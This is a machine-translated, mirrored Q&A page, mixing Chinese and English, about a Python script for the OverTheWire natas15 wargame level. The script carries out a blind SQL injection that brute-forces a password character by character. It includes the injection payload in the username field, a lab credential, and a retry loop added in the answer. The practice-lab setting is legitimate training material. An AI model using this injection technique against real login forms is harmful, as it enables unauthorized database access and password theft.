简体   繁体   English

在请求模块中发布不能正常工作(python)

[英]post in requests module dont work without exception(python)

in natas15 you must do a sql blind injection在 natas15 你必须做一个 sql 盲注

for test i run this code to find first letter of password为了测试,我运行此代码以查找密码的第一个字母

import requests
from requests.auth import HTTPBasicAuth

chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'

for char in chars:
    Data = {'username': 'natas16" and password LIKE BINARY "' + char + '%" #'}
    r = requests.post('http://natas15.natas.labs.overthewire.org/index.php?debug',
                      auth=HTTPBasicAuth('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'), data=Data)
    print('i test:' + char)
    if 'exists' in r.text:
        print('i find: ' + char)

but it does not work it do not show any error but i find the where error come from it come from post request但它不起作用它没有显示任何错误但我发现错误来自它来自发布请求

here some output:这里有一些 output:

i test:a
i test:b
i test:c
i test:d
i test:a
i test:b
i test:c
i test:d
i test:e
i test:f
i test:g
i test:h
i test:i
i test:j
i test:k
i test:l
i test:m
i test:n
i test:o

(its stop working randomly) (它随机停止工作)

EDIT i thinks its my internet connection how fix that (if its cant connect try again)编辑我认为它是我的互联网连接如何解决这个问题(如果它无法连接再试一次)

after read a lot of documents i find it在阅读了很多文件后,我找到了

i replace r = requests.post('http://natas15.natas.labs.overthewire.org/index.php?debug', auth=HTTPBasicAuth('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'), data=Data, timeout=2) to i replace r = requests.post('http://natas15.natas.labs.overthewire.org/index.php?debug', auth=HTTPBasicAuth('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'), data=Data, timeout=2)

        while True:
            try:
                r = requests.post('http://natas15.natas.labs.overthewire.org/index.php?debug',
                                  auth=HTTPBasicAuth('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'), data=Data, timeout=2)
            except requests.exceptions.Timeout as err:
                print('trying again!')
                continue

if it cant get response after 2 second print 'trying again!'如果 2 秒后无法得到响应,请打印'trying again!' and try again!然后再试一次!

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM